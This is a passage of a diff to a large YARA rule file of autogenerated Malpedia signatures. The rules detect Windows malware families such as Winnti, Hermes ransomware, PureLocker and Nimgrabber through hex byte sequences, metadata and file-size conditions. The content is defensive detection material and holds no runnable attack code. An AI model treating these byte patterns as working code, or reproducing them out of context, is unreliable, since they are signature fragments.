-		$sequence_6 = { 7507 c7450c02104100 53 56 8b7508 f6462c01 57 }
-		$sequence_7 = { 50 68???????? ff35???????? e8???????? 21c0 7414 ff35???????? }
-		$sequence_8 = { e8???????? 890424 6800000000 e8???????? a3???????? ff35???????? ff742404 }
-		$sequence_9 = { ff15???????? 8b542434 81c200000800 89542428 eb04 8b5c2414 8b442434 }
+		$sequence_0 = { 85db 0f8506030000 8b442470 ffd0 8b542478 81c41c070000 }
+		$sequence_1 = { 8954240c 8b9424e4000000 89742404 83ea04 89542408 8b8404cc0b0000 8b00 }
+		$sequence_2 = { 83ec08 85c0 7439 8b8424bc010000 890424 8b44246c ffd0 }
+		$sequence_3 = { 0fb613 89c3 8d6c11e0 01d1 }
+		$sequence_4 = { 890424 8b842488000000 ffd0 83ec08 8b842484010000 890424 8b8424a4000000 }
+		$sequence_5 = { 31db ffd6 c684249803000000 898424bc000000 b878650000 6689842496030000 b865000000 }
+		$sequence_6 = { c744240804000000 89442404 8b842484010000 890424 8b8424ac000000 ffd0 }
+		$sequence_7 = { 0f84d3070000 81fd03030000 0f85d5060000 8b842484010000 c744240402000000 89fb be01000000 }
+		$sequence_8 = { 8bb4244c010000 01ca 880431 0fb68424a5010000 8844290a 0fb68424a6010000 8844290b }
+		$sequence_9 = { 83ec08 0fb68c2450040000 84c9 741f 31d2 83c201 }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Electric_Powder_Auto : FILE
+rule MALPEDIA_Win_Bhunt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6da8b24a-07fd-5fc6-a509-6cbc31d92594"
+		id = "5486e0c5-654b-5b43-b68d-10c1b78a90c9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.electric_powder_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bhunt_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "38cd56e857c27f71ed9be956ee8235c5f49da7b5b360cadbe53a42a73ba8199e"
-		score = 75
+		logic_hash = "f1702c9f5cf7c98ee774218c3a385f625fff81483374971b8b6cf77e6b060de8"
+		score = 50
 		quality = 75
 		tags = "FILE"
 		version = "1"
@@ -162088,32 +169158,32 @@ rule MALPEDIA_Win_Electric_Powder_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3b4e08 0f8324010000 8b4604 c704c810000000 8b4608 83e801 8945fc }
-		$sequence_1 = { 03c0 660f289800904300 660f2835???????? 660f59cf 660f58d1 660f70caee f20f59d7 }
-		$sequence_2 = { 8d8d20fdffff c78530fdffff00000000 c78534fdffff0f000000 c68520fdffff00 e8???????? c745fc00000000 8d8d20fdffff }
-		$sequence_3 = { 7202 8b39 8b4110 85c0 7449 48 83ceff }
-		$sequence_4 = { 0f8389010000 8b5604 3bc8 0f8388010000 8b44fa04 8944ca04 }
-		$sequence_5 = { c645fc20 51 8bd0 8d8d78fcffff e8???????? 83c404 68???????? }
-		$sequence_6 = { 50 51 8d8d68faffff e8???????? 83bd7cfaffff08 8d8568faffff }
-		$sequence_7 = { 7202 8b3f 83fa08 731a }
-		$sequence_8 = { 83c404 89b518efffff 85f6 0f84be000000 8b8d40efffff 03c9 }
-		$sequence_9 = { 83f8ff 773b 83f8ef 7736 8b4f04 83c010 50 }
+		$sequence_0 = { feca f8 d0c2 f5 f8 32da 80ffd4 }
+		$sequence_1 = { 85c0 751a 8b442410 50 8bd5 8bc3 e8???????? }
+		$sequence_2 = { 8902 660fbcc0 8b07 8dbf04000000 663bcf 66f7c4ab75 33c3 }
+		$sequence_3 = { bbff000000 8bc3 8d7c2414 66c784241e1200000800 e8???????? 59 8d8600120000 }
+		$sequence_4 = { 0fb7c2 8b55f0 03450c 2bd1 0fb74dfc }
+		$sequence_5 = { ff7304 c645d405 56 e8???????? ff7304 ff36 e8???????? }
+		$sequence_6 = { 83a530ffffff00 c7852cffffff01000000 ffb530ffffff ffb52cffffff 52 ffb544ffffff e8???????? }
+		$sequence_7 = { 5f 9c 04f8 26ed c59818579fa0 5f e7e6 }
+		$sequence_8 = { 52 3a21 a7 a2???????? 50 9d 03890023b0b3 }
+		$sequence_9 = { ac 2a7279 bfae9603f7 6c a3???????? 9f 97 }
 
 	condition:
-		7 of them and filesize <565248
+		7 of them and filesize <19161088
 }
-rule MALPEDIA_Win_Lazarus_Killdisk_Auto : FILE
+rule MALPEDIA_Win_Nimgrabber_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "37962373-db6b-5a82-a667-796eaa294f65"
+		id = "3ff9ecdf-434a-5531-ae47-14063d732bcc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lazarus_killdisk_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimgrabber_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "f14584aa2cdb4f56b5df407c3c19c0436c1677938983b3e7a6f77f9ce3d89a22"
+		logic_hash = "d88020b2287429253ba602c12d16ae36bc236c828c7e32d50b3c884fb53a1e20"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162127,71 +169197,71 @@ rule MALPEDIA_Win_Lazarus_Killdisk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b530c 8b4308 33c9 8d4402ff 0fa4c109 }
-		$sequence_1 = { e8???????? 83c40c 57 8d4c242c }
-		$sequence_2 = { 8bf0 83feff 740e 8bce e8???????? 56 }
-		$sequence_3 = { 6a00 6800000002 ffd3 8bf0 83feff 7409 6a00 }
-		$sequence_4 = { 7438 8d55f0 52 68???????? }
-		$sequence_5 = { 89842430020000 53 56 57 e8???????? 8b1d???????? 33ff }
-		$sequence_6 = { 68???????? 57 ff15???????? 8b45a2 8b4da6 8b55ae }
-		$sequence_7 = { 8d95c0fdffff c1e009 52 50 57 }
-		$sequence_8 = { 40 83c610 8985e4fdffff 83f804 }
-		$sequence_9 = { 8d5de8 8955ec 894df4 8945f0 e8???????? 807db600 }
+		$sequence_0 = { 0f8fa7000000 c7819814000000400000 b800400000 c744240c04000000 c744240800300000 39c7 0f8fd0010000 }
+		$sequence_1 = { 8b842490000000 83c004 89442430 0f80de2e0000 8b8424d8000000 8b00 39442430 }
+		$sequence_2 = { c705????????b83b4800 c705????????20000000 c705????????02000000 c705????????00254800 668915???????? c605????????01 c705????????00000000 }
+		$sequence_3 = { 8d4710 8d5f08 be???????? b90b000000 c743042b000000 c747082b000000 89c7 }
+		$sequence_4 = { c1f80c 89442418 89e8 0fb6c0 8d0483 8944241c 8b8084100000 }
+		$sequence_5 = { 7f0d b9???????? e8???????? 8b4514 83e801 0f8067160000 894514 }
+		$sequence_6 = { c70424???????? 894c2474 89542404 e8???????? 8b4c2474 31c0 894b04 }
+		$sequence_7 = { 8b6f04 81fd0000003f 7e28 c704240000003f 89fa 89f1 e8???????? }
+		$sequence_8 = { 89f9 e8???????? 8b4c2454 89da e8???????? 8b07 }
+		$sequence_9 = { 740a 8b0b 85c9 0f88a6020000 e8???????? 31ed 89442430 }
 
 	condition:
-		7 of them and filesize <209920
+		7 of them and filesize <1238016
 }
-rule MALPEDIA_Win_Derohe_Auto : FILE
+rule MALPEDIA_Win_Hermes_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "082c8bb6-5e90-542b-87a2-cd5536e22be3"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.derohe_auto.yar#L1-L134"
+		id = "88136c82-87ab-5f89-8963-9afb9534a540"
+		date = "2021-10-07"
+		modified = "2021-10-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hermes_ransom_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "3afbf42b0aba27d1df54ba6496f4a588ae2f7c7ec09fa3d922d168dfad26c783"
+		logic_hash = "2bb9637b7e3ee9fcdd4e957eade001e8c8132e1b7c987ea6727ab44eda025915"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20211007"
+		malpedia_hash = "e5b790e0f888f252d49063a1251ca60ec2832535"
+		malpedia_version = "20211008"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd0 8b542404 c60424e3 8b02 ffd0 8b542404 c6042405 }
-		$sequence_1 = { ffd0 8b542404 c604247d 8b02 ffd0 8b542404 c60424df }
-		$sequence_2 = { ffd0 8b542404 c60424a1 8b02 ffd0 8b542404 c60424e8 }
-		$sequence_3 = { ffd0 8b442418 8b4c2414 8b542420 898a8c010000 8b0d???????? 85c9 }
-		$sequence_4 = { ffd0 8b542404 c60424de 8b02 ffd0 8b542404 c60424b8 }
-		$sequence_5 = { ffd0 8b542404 c60424cc 8b02 ffd0 8b542404 c6042462 }
-		$sequence_6 = { e8???????? 8b44241c 8b4c2420 8b542424 8b5c2434 894b08 89530c }
-		$sequence_7 = { ffd0 8b542404 c604247d 8b02 ffd0 8b542404 c60424a4 }
-		$sequence_8 = { ffd2 8b442404 83c0fa 83f801 0f869e000000 90 8b4c242c }
-		$sequence_9 = { ffd0 8b542404 c60424e0 8b02 ffd0 8b542404 c6042407 }
+		$sequence_0 = { 59 59 8945e0 837ddc00 7506 837de000 7405 }
+		$sequence_1 = { 8d45dc 50 ff75d8 8d8560ffffff 50 ff75e0 ff15???????? }
+		$sequence_2 = { 33c0 668945e2 33c0 8945e4 8945e8 837df020 }
+		$sequence_3 = { 6a00 8d85a4f9ffff 50 ff15???????? 5f 5e 8be5 }
+		$sequence_4 = { 0fb7844504f7ffff 83f83b 741f 8b45d8 8b4df0 668b8c4d04f7ffff }
+		$sequence_5 = { 8365c800 8365d000 c745b840420f00 8365e000 eb07 8b45e0 40 }
+		$sequence_6 = { 59 6bc900 668981e8c34000 6a02 }
+		$sequence_7 = { 59 59 6a0f 6a00 8d45bc 50 }
+		$sequence_8 = { 8365f000 8b45f0 8945f8 837df800 7456 }
+		$sequence_9 = { 83e002 7415 ff750c ff75fc e8???????? 59 }
 
 	condition:
-		7 of them and filesize <35788800
+		7 of them and filesize <7192576
 }
-rule MALPEDIA_Win_Vflooder_Auto : FILE
+rule MALPEDIA_Win_Sunorcal_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9887b2d4-11f9-501f-8a80-a11d525400b9"
+		id = "8d478635-7b1a-5ec4-85a6-3854fefcfed4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vflooder_auto.yar#L1-L106"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sunorcal_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "c395df9bf0cea55ef8201fced5f6d58ff4786707da9a8f0c23e3a94a9aa3418e"
+		logic_hash = "58249461fa7cf2580b3033b5e590d54e14d2db390f8c7cf00dbe39cb0b927df2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162205,34 +169275,34 @@ rule MALPEDIA_Win_Vflooder_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 60 ff35???????? 8f442438 9c }
-		$sequence_1 = { 3b45f0 60 9c 8d642424 }
-		$sequence_2 = { 9c 60 9c 9c 8d642430 }
-		$sequence_3 = { 9c ff742404 8d642434 e9???????? }
-		$sequence_4 = { e9???????? ff742408 8f4500 60 }
-		$sequence_5 = { 0000 43 7265 61 7465 }
-		$sequence_6 = { f5 83ef04 f5 ff37 }
-		$sequence_7 = { e8???????? 0000 43 7265 }
-		$sequence_8 = { b02e f5 f2ae e8???????? }
-		$sequence_9 = { 9c f2ae 9c 9c }
+		$sequence_0 = { 6a03 e8???????? cc 55 8bec 83ec0c a1???????? }
+		$sequence_1 = { c21000 8b442404 8b00 813863736de0 752a 83781003 7524 }
+		$sequence_2 = { 5e 5b c21000 8b442404 8b00 813863736de0 752a }
+		$sequence_3 = { ff15???????? 33c0 c3 c3 55 8bec }
+		$sequence_4 = { 7c02 eb0e e8???????? e8???????? 85c0 }
+		$sequence_5 = { 5b c21000 8b442404 8b00 813863736de0 }
+		$sequence_6 = { 68b7000000 ff15???????? 6a64 68???????? }
+		$sequence_7 = { 5b c21000 8b442404 8b00 813863736de0 752a 83781003 }
+		$sequence_8 = { ff15???????? 68b7000000 ff15???????? 6a64 68???????? 6a67 }
+		$sequence_9 = { 68???????? ff15???????? 33c0 c3 c3 55 8bec }
 
 	condition:
-		7 of them and filesize <860160
+		7 of them and filesize <172032
 }
-rule MALPEDIA_Win_Final1Stspy_Auto : FILE
+rule MALPEDIA_Win_Winnti_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7c2b072b-c27f-54e3-a7df-2dc853163db8"
+		id = "3bce81c4-b806-55af-b179-e7a33535f793"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.final1stspy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.final1stspy_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winnti_auto.yar#L1-L247"
 		license_url = "N/A"
-		logic_hash = "654817f55704ecafec1c10904f1a6a25212804a4fb3c152f1d4aecbab6ecef0c"
+		logic_hash = "bb0b6cf106deb97c4eb44fec946685f152141bb95569eea2bec56d5f75cb75c8"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -162244,32 +169314,46 @@ rule MALPEDIA_Win_Final1Stspy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 03d0 8b45fc 8a4803 c1e206 80f93d 7508 }
-		$sequence_1 = { 51 56 8d55fc c745fc00000000 e8???????? 8bf0 }
-		$sequence_2 = { 8a1d???????? 8b4dfc 83c104 894dfc }
-		$sequence_3 = { eb2e 85ff 7594 b8???????? 6690 3ad9 }
-		$sequence_4 = { 81e7ff070080 7908 4f 81cf00f8ffff }
-		$sequence_5 = { 0f114c0f10 83c120 3bca 7cd4 3bce }
-		$sequence_6 = { 84db 7410 8a11 8acb 3aca 7425 8a4801 }
-		$sequence_7 = { 81cf00f8ffff 47 33f6 85ff 7e0a }
-		$sequence_8 = { 8945fc 57 8d7e01 8a06 }
-		$sequence_9 = { 7410 8a11 8acb 3aca }
+		$sequence_0 = { 51 52 8bce e8???????? 53 8bf8 ff15???????? }
+		$sequence_1 = { ff15???????? 663dffff 747b 663dfeff 7475 8b942494020000 83c9ff }
+		$sequence_2 = { c22000 8b4d00 56 6a03 68c8000000 51 ff15???????? }
+		$sequence_3 = { 8bf0 83c404 85f6 7509 5f 5e 83c8ff }
+		$sequence_4 = { 807a025c 75bf 83c203 8a0a 56 33f6 b801000000 }
+		$sequence_5 = { 895e08 895e0c ffd7 50 }
+		$sequence_6 = { 83c404 85db 0f84da000000 55 8b6c2430 56 57 }
+		$sequence_7 = { 6a01 52 6a02 8974243c 89742430 c644244800 ff15???????? }
+		$sequence_8 = { 488d8a40000000 e9???????? 488b8a40000000 4883c108 e9???????? 488b8a80000000 e9???????? }
+		$sequence_9 = { 48037c2470 48897c2478 488b8c2400010000 4885c9 741f 4183fe01 7513 }
+		$sequence_10 = { 4c8d25b6f10000 498b0c24 4d8bc5 488bd3 e8???????? 85c0 }
+		$sequence_11 = { 4803f7 4c03f7 41ffca 660f1f840000000000 478d0c1a }
+		$sequence_12 = { 75f8 488d15e1160000 b12e 482bd0 }
+		$sequence_13 = { 4963f9 48897db7 453bc5 0f8e4f020000 418bc0 412bc5 448be0 }
+		$sequence_14 = { 3918 0f4c18 3bcb 0f8d87000000 488d3d979c0a00 ba58000000 488bcd }
+		$sequence_15 = { 4c2bc1 0f1f00 410fb6440801 8811 }
+		$sequence_16 = { 4d85ed 7429 488d15fcd70a00 498bcd }
+		$sequence_17 = { 4c8bc7 48894768 488d4567 ba18822200 }
+		$sequence_18 = { 4889542410 53 4881ecb0000000 33db }
+		$sequence_19 = { 488d542450 4438742450 740a 6690 48ffc2 }
+		$sequence_20 = { 488d1debad0000 488d3d64ae0000 eb0e 488b03 4885c0 7402 }
+		$sequence_21 = { 8a45d9 4b8b8cf800a20b00 88443139 4b8b84f800a20b00 8854303a eb4c 493bde }
+		$sequence_22 = { 57 4156 4157 4883ec30 4c8bf1 33ff }
+		$sequence_23 = { 44895c391c 4963cb 488bd1 48c1fa10 498b8680000000 }
 
 	condition:
-		7 of them and filesize <557056
+		7 of them and filesize <1581056
 }
-rule MALPEDIA_Win_Maui_Auto : FILE
+rule MALPEDIA_Win_Purelocker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3b08a716-7f90-5bcd-af98-705f5527c8fd"
+		id = "d1d522a1-058f-5ee5-85f2-56e8688f09bf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maui"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maui_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.purelocker_auto.yar#L1-L126"
 		license_url = "N/A"
-		logic_hash = "da972ed3bba518a07c1d6cad703f6be4a891f59859651a81726f8cacb62eabef"
+		logic_hash = "42140169d70d3c64021f0eb71e13968d0cb2f62e4e2540159ee39f96b2cca71d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162283,71 +169367,71 @@ rule MALPEDIA_Win_Maui_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b1b 895c2410 a810 0f841a010000 57 51 25c0000000 }
-		$sequence_1 = { 83c40c 85c0 7515 53 e8???????? 57 e8???????? }
-		$sequence_2 = { 83c404 5f 5b 5e 5d c3 8bce }
-		$sequence_3 = { c1e010 094610 0fb64101 41 99 0fa4c208 095614 }
-		$sequence_4 = { e8???????? 83c408 85c0 0f846b010000 3b5d20 8d4518 7e0a }
-		$sequence_5 = { 85c0 750a 68d0010000 e9???????? 8b542438 8b02 56 }
-		$sequence_6 = { e8???????? 83c40c 85c0 0f849b010000 8d442428 57 50 }
-		$sequence_7 = { 8bac24a4000000 f7463c00010000 753a 8b4628 8b10 89542460 8b5004 }
-		$sequence_8 = { 50 50 50 50 e8???????? 83c414 ff33 }
-		$sequence_9 = { e8???????? 53 89442438 8907 e8???????? 53 89442460 }
+		$sequence_0 = { c7042400000000 8d442434 50 8d842440040000 50 8d842440020000 }
+		$sequence_1 = { c1e908 81e1ff000000 331c85201c0110 8b442414 8b148d20180110 335f08 }
+		$sequence_2 = { 8b442410 0fb6c0 330c8520300110 8bc6 }
+		$sequence_3 = { 6a00 85c9 59 751a 8bda 53 }
+		$sequence_4 = { 53 ba17000000 83ec04 c7042400000000 4a 75f3 e8???????? }
+		$sequence_5 = { 8d1524400110 59 e8???????? 741e 8b542468 52 }
+		$sequence_6 = { 50 31c0 50 8b15???????? 52 e8???????? 5a }
+		$sequence_7 = { e8???????? 8d1524400110 8d0d285e0110 e8???????? 8d1524400110 8d0d845d0110 }
+		$sequence_8 = { e8???????? e8???????? 011424 e8???????? 58 8b542408 52 }
+		$sequence_9 = { 50 680a000000 ff742418 e8???????? e8???????? 52 e8???????? }
 
 	condition:
-		7 of them and filesize <1616896
+		7 of them and filesize <193536
 }
-rule MALPEDIA_Win_Mulcom_Auto : FILE
+rule MALPEDIA_Win_Unidentified_063_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8b428090-6e4d-587e-a305-32305b35e9f8"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mulcom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mulcom_auto.yar#L1-L132"
+		id = "d22cba4e-b95b-5578-ac95-09534bd7dc14"
+		date = "2022-11-21"
+		modified = "2022-11-25"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_063"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_063_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "0fb6c90115244992995c28d6d59f0334f00cc1075a3607803abc8b37e1b5b55f"
+		logic_hash = "14c180eecdf0e6fbf2b936d6c444ad58c2e649e1fa770106e8719057ee1aefbd"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20221118"
+		malpedia_hash = "e0702e2e6d1d00da65c8a29a4ebacd0a4c59e1af"
+		malpedia_version = "20221125"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4883ec40 33ff 48c740f007000000 488978e8 488d4c2420 668978d8 4d85c0 }
-		$sequence_1 = { e8???????? 4c8b4310 488bd3 48837b1808 7203 488b13 4981f804010000 }
-		$sequence_2 = { e8???????? 488d4de8 e8???????? 488d4dc8 e8???????? 488d4da8 e8???????? }
-		$sequence_3 = { 48897020 488b05???????? 4833c4 48898510020000 498bf8 488bda 4889542438 }
-		$sequence_4 = { 33d2 33c9 458bc6 ff15???????? 85c0 0f8412020000 }
-		$sequence_5 = { e8???????? 488d4c2460 e8???????? 90 488dbea0000000 488d9580010000 }
-		$sequence_6 = { 4c897de0 488d45d0 48837de810 480f4345d0 448838 8b542440 483b55e0 }
-		$sequence_7 = { 4d63df 4c015d00 478d6c2fff eb3f 4585e4 7511 8b74243c }
-		$sequence_8 = { cc e8???????? cc 4c8bc2 488b5108 48395110 0f848b000000 }
-		$sequence_9 = { 410fb7d0 ff5018 440fb7c0 49ffce 418bff 66453be0 0f45fb }
+		$sequence_0 = { 8d43cf 83f819 770c 6689b550030000 e9???????? }
+		$sequence_1 = { 7363 488bf3 4c8d35dfc40100 83e63f 488beb 48c1fd06 48c1e606 }
+		$sequence_2 = { e8???????? 4863f8 488d3588800100 488bcb }
+		$sequence_3 = { 0f11442478 4c8b4708 488d442470 493bc0 7362 488b07 488d4c2470 }
+		$sequence_4 = { 4885c9 7407 48ff25???????? c3 48894c2408 57 4883ec50 }
+		$sequence_5 = { 83f801 7518 488b0d???????? 488d05bf5f0100 483bc8 7405 e8???????? }
+		$sequence_6 = { 8b8c96d0cd0200 8b534c 33c8 0fb6c1 }
+		$sequence_7 = { 0f84e7000000 488b0e 483bc8 740e 4885c9 7406 }
+		$sequence_8 = { 498bc2 418be9 48c1f806 488d0d708c0100 4183e23f 4903e8 }
+		$sequence_9 = { 488d158a5a0200 488bcb e8???????? 85c0 7499 488d157f5a0200 488bcb }
 
 	condition:
-		7 of them and filesize <867328
+		7 of them and filesize <475136
 }
-rule MALPEDIA_Win_Gold_Dragon_Auto : FILE
+rule MALPEDIA_Win_Crutch_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eec5e3d6-5655-50ac-8840-a288ffff9f65"
+		id = "1c62c9a2-5abd-50e0-9062-2bd78d3ac79d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gold_dragon_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crutch_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "eed1b3c473c88d18a03100aac4bac22cf30de04dad45247c9c63eb23fa6434a1"
+		logic_hash = "af046e99ef1615cf66ae4969fa3fcc0ac2b09e87e76d784694e80263151a794f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -162361,32 +169445,32 @@ rule MALPEDIA_Win_Gold_Dragon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8bc6 83e61f c1f805 59 8b048500954000 8d0cf6 }
-		$sequence_1 = { 85c0 a3???????? 0f848d030000 8b15???????? 68???????? }
-		$sequence_2 = { 0fb6fa 3bc7 7714 8b55fc 8a9200844000 }
-		$sequence_3 = { a3???????? 0f842d040000 8b15???????? 68???????? }
-		$sequence_4 = { a3???????? 0f8422030000 a1???????? 68???????? 50 ffd6 }
-		$sequence_5 = { 8b7d08 8d054c914000 83780800 753b b0ff }
-		$sequence_6 = { 8db60c844000 bf???????? a5 a5 59 }
-		$sequence_7 = { ffd6 85c0 a3???????? 0f84a2050000 }
-		$sequence_8 = { ffd6 85c0 a3???????? 0f84ef010000 68???????? ffd7 }
-		$sequence_9 = { 85c0 a3???????? 0f8424020000 8b15???????? 68???????? 52 }
+		$sequence_0 = { 7536 8b8740030000 f7404000c00000 51 740f 8b4e6c 51 }
+		$sequence_1 = { 8b442430 85c0 742b 8b942488000000 8b8c2484000000 52 8b54243c }
+		$sequence_2 = { 8b01 50 ff30 51 ff32 8bcb e8???????? }
+		$sequence_3 = { 50 8d4ddc e8???????? eb3a 8dbd1cffffff 8d3cd7 8d8514ffffff }
+		$sequence_4 = { 8b6c2408 7426 8b03 50 ff15???????? 8b8efc040000 51 }
+		$sequence_5 = { 0f84f9000000 b9???????? 8bc6 8d642400 8a10 3a11 751a }
+		$sequence_6 = { 81c2cc000000 89542408 8b54240c 89542404 e9???????? 81f9244e0000 }
+		$sequence_7 = { 7506 8b7c2428 eb4a 41 51 ff15???????? 8bf8 }
+		$sequence_8 = { b823000000 5e c3 8d471f c1e004 8bcf c1e104 }
+		$sequence_9 = { 8bf1 8a02 8806 8d4e18 8b4208 894608 8b420c }
 
 	condition:
-		7 of them and filesize <90112
+		7 of them and filesize <1067008
 }
-rule MALPEDIA_Win_Buer_Auto : FILE
+rule MALPEDIA_Win_Pngdowner_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "29f2986a-0230-51bb-b9a2-7f550ca2fb77"
+		id = "31e7b95d-0a01-5118-aefe-72f10c1de52f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buer_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pngdowner_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "2390d8b9be10e4a78955cb4e4f9dfe589bef2af5ea30193017caa2f367cbde8d"
